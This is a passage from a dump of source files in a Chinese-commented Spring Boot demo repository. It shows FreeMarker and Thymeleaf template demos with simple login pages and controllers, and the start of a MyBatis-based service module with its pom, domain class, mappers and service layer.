\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/java/com/jun/plugin/template/freemarker/SpringBootDemoTemplateFreemarkerApplication.java",
    "content": "package com.jun.plugin.template.freemarker;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.template.freemarker\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:17 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoTemplateFreemarkerApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringBootDemoTemplateFreemarkerApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/java/com/jun/plugin/template/freemarker/controller/IndexController.java",
    "content": "package com.jun.plugin.template.freemarker.controller;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.template.freemarker.model.User;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * <p>\n * 主页\n * </p>\n *\n * @package: com.xkcoding.template.freemarker.controller\n * @description: 主页\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:07 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@Slf4j\npublic class IndexController {\n\n\t@GetMapping(value = {\"\", \"/\"})\n\tpublic ModelAndView index(HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tUser user = (User) request.getSession().getAttribute(\"user\");\n\t\tif (ObjectUtil.isNull(user)) {\n\t\t\tmv.setViewName(\"redirect:/user/login\");\n\t\t} else {\n\t\t\tmv.setViewName(\"page/index\");\n\t\t\tmv.addObject(user);\n\t\t}\n\n\t\treturn mv;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/java/com/jun/plugin/template/freemarker/controller/UserController.java",
    "content": "package com.jun.plugin.template.freemarker.controller;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.template.freemarker.model.User;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * <p>\n * 用户页面\n * </p>\n *\n * @package: com.xkcoding.template.freemarker.controller\n * @description: 用户页面\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:11 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@RequestMapping(\"/user\")\n@Slf4j\npublic class UserController {\n\t@PostMapping(\"/login\")\n\tpublic ModelAndView login(User user, HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmv.addObject(user);\n\t\tmv.setViewName(\"redirect:/\");\n\n\t\trequest.getSession().setAttribute(\"user\", user);\n\t\treturn mv;\n\t}\n\n\t@GetMapping(\"/login\")\n\tpublic ModelAndView login() {\n\t\treturn new ModelAndView(\"page/login\");\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/java/com/jun/plugin/template/freemarker/model/User.java",
    "content": "package com.jun.plugin.template.freemarker.model;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 用户 model\n * </p>\n *\n * @package: com.xkcoding.template.freemarker.model\n * @description: 用户 model\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:06 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class User {\n\tprivate String name;\n\tprivate String password;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  freemarker:\n    suffix: .ftl\n    cache: false\n    charset: UTF-8"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/resources/templates/common/head.ftl",
    "content": "<head>\n\t<meta charset=\"UTF-8\">\n\t<meta name=\"viewport\"\n\t      content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n\t<title>spring-boot-template-freemarker</title>\n</head>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/resources/templates/page/index.ftl",
    "content": "<!doctype html>\n<html lang=\"en\">\n<#include \"../common/head.ftl\">\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t欢迎登录，${user.name}！\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/main/resources/templates/page/login.ftl",
    "content": "<!doctype html>\n<html lang=\"en\">\n<#include \"../common/head.ftl\">\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t<form action=\"/demo/user/login\" method=\"post\">\n\t\t用户名<input type=\"text\" name=\"name\" placeholder=\"用户名\"/>\n\t\t密码<input type=\"password\" name=\"password\" placeholder=\"密码\"/>\n\t\t<input type=\"submit\" value=\"登录\">\n\t</form>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/src/test/java/com/jun/plugin/template/freemarker/SpringBootDemoTemplateFreemarkerApplicationTests.java",
    "content": "package com.jun.plugin.template.freemarker;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoTemplateFreemarkerApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/README.md",
    "content": "# spring-boot-demo-template-thymeleaf\n\n> 本 demo 主要演示了 Spring Boot 项目如何集成 thymeleaf 模板引擎\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<artifactId>spring-boot-demo-template-thymeleaf</artifactId>\n\t<version>1.0.0-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-demo-template-thymeleaf</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>io.github.wujun728</groupId>\n\t\t<artifactId>spring-boot-demo</artifactId>\n\t\t<version>1.0.0-SNAPSHOT</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>spring-boot-demo-template-thymeleaf</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n```\n\n## IndexController.java\n\n```java\n/**\n * <p>\n * 主页\n * </p>\n *\n * @package: com.jun.plugin.template.thymeleaf.controller\n * @description: 主页\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:12 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@Slf4j\npublic class IndexController {\n\n\t@GetMapping(value = {\"\", \"/\"})\n\tpublic ModelAndView index(HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmodel.User user = (model.User) request.getSession().getAttribute(\"user\");\n\t\tif (ObjectUtil.isNull(user)) {\n\t\t\tmv.setViewName(\"redirect:/user/login\");\n\t\t} else {\n\t\t\tmv.setViewName(\"page/index\");\n\t\t\tmv.addObject(user);\n\t\t}\n\n\t\treturn mv;\n\t}\n}\n```\n\n## UserController.java\n\n```java\n/**\n * <p>\n * 用户页面\n * </p>\n *\n * @package: com.jun.plugin.template.thymeleaf.controller\n * @description: 用户页面\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:11 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@RequestMapping(\"/user\")\n@Slf4j\npublic class UserController {\n\t@PostMapping(\"/login\")\n\tpublic ModelAndView login(model.User user, HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmv.addObject(user);\n\t\tmv.setViewName(\"redirect:/\");\n\n\t\trequest.getSession().setAttribute(\"user\", user);\n\t\treturn mv;\n\t}\n\n\t@GetMapping(\"/login\")\n\tpublic ModelAndView login() {\n\t\treturn new ModelAndView(\"page/login\");\n\t}\n}\n```\n\n## index.html\n\n```jsp\n<!doctype html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<header th:replace=\"~{common/head :: header}\"></header>\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t欢迎登录，<span th:text=\"${user.name}\"></span>！\n</div>\n</body>\n</html>\n```\n\n## login.html\n\n```jsp\n<!doctype html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<header th:replace=\"~{common/head :: header}\"></header>\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n   <form action=\"/demo/user/login\" method=\"post\">\n      用户名<input type=\"text\" name=\"name\" placeholder=\"用户名\"/>\n      密码<input type=\"password\" name=\"password\" placeholder=\"密码\"/>\n      <input type=\"submit\" value=\"登录\">\n   </form>\n</div>\n</body>\n</html>\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  thymeleaf:\n    mode: HTML\n    encoding: UTF-8\n    servlet:\n      content-type: text/html\n    cache: false\n```\n\n## Thymeleaf语法糖学习文档\n\nhttps://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_template_thymeleaf</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n\t<name>springboot_template_thymeleaf</name>\n\t<description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>springboot_template_thymeleaf</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/java/com/jun/plugin/template/thymeleaf/SpringBootDemoTemplateThymeleafApplication.java",
    "content": "package com.jun.plugin.template.thymeleaf;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.template.thymeleaf\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:10 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoTemplateThymeleafApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringBootDemoTemplateThymeleafApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/java/com/jun/plugin/template/thymeleaf/controller/IndexController.java",
    "content": "package com.jun.plugin.template.thymeleaf.controller;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.template.thymeleaf.model.User;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * <p>\n * 主页\n * </p>\n *\n * @package: com.xkcoding.template.thymeleaf.controller\n * @description: 主页\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:12 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@Slf4j\npublic class IndexController {\n\n\t@GetMapping(value = {\"\", \"/\"})\n\tpublic ModelAndView index(HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tUser user = (User) request.getSession().getAttribute(\"user\");\n\t\tif (ObjectUtil.isNull(user)) {\n\t\t\tmv.setViewName(\"redirect:/user/login\");\n\t\t} else {\n\t\t\tmv.setViewName(\"page/index\");\n\t\t\tmv.addObject(user);\n\t\t}\n\n\t\treturn mv;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/java/com/jun/plugin/template/thymeleaf/controller/UserController.java",
    "content": "package com.jun.plugin.template.thymeleaf.controller;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.template.thymeleaf.model.User;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * <p>\n * 用户页面\n * </p>\n *\n * @package: com.xkcoding.template.thymeleaf.controller\n * @description: 用户页面\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:11 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@RequestMapping(\"/user\")\n@Slf4j\npublic class UserController {\n\t@PostMapping(\"/login\")\n\tpublic ModelAndView login(User user, HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmv.addObject(user);\n\t\tmv.setViewName(\"redirect:/\");\n\n\t\trequest.getSession().setAttribute(\"user\", user);\n\t\treturn mv;\n\t}\n\n\t@GetMapping(\"/login\")\n\tpublic ModelAndView login() {\n\t\treturn new ModelAndView(\"page/login\");\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/java/com/jun/plugin/template/thymeleaf/model/User.java",
    "content": "package com.jun.plugin.template.thymeleaf.model;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 用户 model\n * </p>\n *\n * @package: com.xkcoding.template.thymeleaf.model\n * @description: 用户 model\n * @author: yangkai.shen\n * @date: Created in 2018/10/10 10:11 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class User {\n\tprivate String name;\n\tprivate String password;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  thymeleaf:\n    mode: HTML\n    encoding: UTF-8\n    servlet:\n      content-type: text/html\n    cache: false"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/resources/templates/common/head.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<head th:fragment=\"header\">\n\t<meta charset=\"UTF-8\">\n\t<meta name=\"viewport\"\n\t      content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n\t<title>spring-boot-demo-template-thymeleaf</title>\n</head>\n<body>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/resources/templates/page/index.html",
    "content": "<!doctype html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<header th:replace=\"~{common/head :: header}\"></header>\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t欢迎登录，<span th:text=\"${user.name}\"></span>！\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/main/resources/templates/page/login.html",
    "content": "<!doctype html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<header th:replace=\"~{common/head :: header}\"></header>\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t<form action=\"/demo/user/login\" method=\"post\">\n\t\t用户名<input type=\"text\" name=\"name\" placeholder=\"用户名\"/>\n\t\t密码<input type=\"password\" name=\"password\" placeholder=\"密码\"/>\n\t\t<input type=\"submit\" value=\"登录\">\n\t</form>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_thymeleaf/src/test/java/com/jun/plugin/template/thymeleaf/SpringBootDemoTemplateThymeleafApplicationTests.java",
    "content": "package com.jun.plugin.template.thymeleaf;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoTemplateThymeleafApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_testing</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<!--mybatis-->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>1.3.1</version>\n\t\t</dependency>\n\t\t<!--通用mapper-->\n\t\t<dependency>\n\t\t\t<groupId>tk.mybatis</groupId>\n\t\t\t<artifactId>mapper-spring-boot-starter</artifactId>\n\t\t\t<version>1.1.5</version>\n\t\t</dependency>\n\t\t<!--pagehelper 分页插件-->\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper-spring-boot-starter</artifactId>\n\t\t\t<version>1.2.3</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t   <groupId>com.alibaba</groupId>\n\t\t   <artifactId>druid-spring-boot-starter</artifactId>\n\t\t   <version>1.1.6</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t\t<!-- 导入数据库驱动: 以下的依赖由于父模块中定义了 dependencyManagement，所在不需要写 version 了 -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<!-- runtime表示编译期间不需要，在运行期间需要，打包进会把此包导入到目标项目中 -->\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/TestApplication.java",
    "content": "package demo.springboot.test;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\n@SpringBootApplication\n@EnableTransactionManagement\n@MapperScan(\"demo.springboot.test.mapper\")\npublic class TestApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(TestApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/config/MyMapper.java",
    "content": "package demo.springboot.test.config;\n\nimport tk.mybatis.mapper.common.Mapper;\nimport tk.mybatis.mapper.common.MySqlMapper;\n\npublic interface MyMapper<T> extends Mapper<T>, MySqlMapper<T> {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/controller/UserController.java",
    "content": "package demo.springboot.test.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport demo.springboot.test.domain.User;\nimport demo.springboot.test.service.UserService;\n\n@RestController\npublic class UserController {\n\n\t@Autowired\n\tUserService userService;\n\n\t@GetMapping(\"user/{userName}\")\n\tpublic User getUserByName(@PathVariable(value = \"userName\") String userName) {\n\t\treturn this.userService.findByName(userName);\n\t}\n\n\t@PostMapping(\"user/save\")\n\tpublic void saveUser(@RequestBody User user) {\n\t\tthis.userService.saveUser(user);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/domain/User.java",
    "content": "package demo.springboot.test.domain;\n\nimport java.util.Date;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n@Table(name = \"T_USER1\")\npublic class User {\n    @Id\n    @Column(name = \"ID\")\n    private Long id;\n\n    @Column(name = \"USERNAME\")\n    private String username;\n\n    @Column(name = \"PASSWD\")\n    private String passwd;\n\n    @Column(name = \"CREATE_TIME\")\n    private Date createTime;\n\n    @Column(name = \"STATUS\")\n    private String status;\n\n    /**\n     * @return ID\n     */\n    public Long getId() {\n        return id;\n    }\n\n    /**\n     * @param id\n     */\n    public void setId(Long id) {\n        this.id = id;\n    }\n\n    /**\n     * @return USERNAME\n     */\n    public String getUsername() {\n        return username;\n    }\n\n    /**\n     * @param username\n     */\n    public void setUsername(String username) {\n        this.username = username == null ? null : username.trim();\n    }\n\n    /**\n     * @return PASSWD\n     */\n    public String getPasswd() {\n        return passwd;\n    }\n\n    /**\n     * @param passwd\n     */\n    public void setPasswd(String passwd) {\n        this.passwd = passwd == null ? null : passwd.trim();\n    }\n\n    /**\n     * @return CREATE_TIME\n     */\n    public Date getCreateTime() {\n        return createTime;\n    }\n\n    /**\n     * @param createTime\n     */\n    public void setCreateTime(Date createTime) {\n        this.createTime = createTime;\n    }\n\n    /**\n     * @return STATUS\n     */\n    public String getStatus() {\n        return status;\n    }\n\n    /**\n     * @param status\n     */\n    public void setStatus(String status) {\n        this.status = status == null ? null : status.trim();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/mapper/SeqenceMapper.java",
    "content": "package demo.springboot.test.mapper;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Select;\n\npublic interface SeqenceMapper {\n//\t@Select(\"select ${seqName}.nextval from dual\")\n//\tLong getSequence(@Param(\"seqName\") String seqName);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/mapper/UserMapper.java",
    "content": "package demo.springboot.test.mapper;\n\nimport demo.springboot.test.config.MyMapper;\nimport demo.springboot.test.domain.User;\n\npublic interface UserMapper extends MyMapper<User> {\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/service/IService.java",
    "content": "package demo.springboot.test.service;\n\nimport java.util.List;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.stereotype.Service;\n\n@Service\npublic interface IService<T> {\n\n\tLong getSequence(@Param(\"seqName\") String seqName);\n\t\n\tList<T> selectAll();\n\t\n    T selectByKey(Object key);\n\n    int save(T entity);\n\n    int delete(Object key);\n\n    int updateAll(T entity);\n\n    int updateNotNull(T entity);\n\n    List<T> selectByExample(Object example);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/service/UserService.java",
    "content": "package demo.springboot.test.service;\n\nimport demo.springboot.test.domain.User;\n\npublic interface UserService extends IService<User>{\n\tUser findByName(String userName);\n\t\n\tvoid saveUser(User user);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/service/impl/BaseService.java",
    "content": "package demo.springboot.test.service.impl;\n\nimport java.util.List;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport demo.springboot.test.mapper.SeqenceMapper;\nimport demo.springboot.test.service.IService;\nimport tk.mybatis.mapper.common.Mapper;\n\npublic abstract class BaseService<T> implements IService<T> {\n\n    @Autowired\n    protected Mapper<T> mapper;\n    @Autowired\n    protected SeqenceMapper seqenceMapper;\n    \n    public Mapper<T> getMapper() {\n        return mapper;\n    }\n    @Override\n    public Long getSequence(@Param(\"seqName\") String seqName){\n    \treturn  1L;\n    }\n    \n    @Override\n    public List<T> selectAll() {\n        //说明：查询所有数据\n        return mapper.selectAll();\n    }\n    \n    @Override\n    public T selectByKey(Object key) {\n        //说明：根据主键字段进行查询，方法参数必须包含完整的主键属性，查询条件使用等号\n        return mapper.selectByPrimaryKey(key);\n    }\n\n    @Override\n    public int save(T entity) {\n        //说明：保存一个实体，null的属性也会保存，不会使用数据库默认值\n        return mapper.insert(entity);\n    }\n\n    @Override\n    public int delete(Object key) {\n        //说明：根据主键字段进行删除，方法参数必须包含完整的主键属性\n        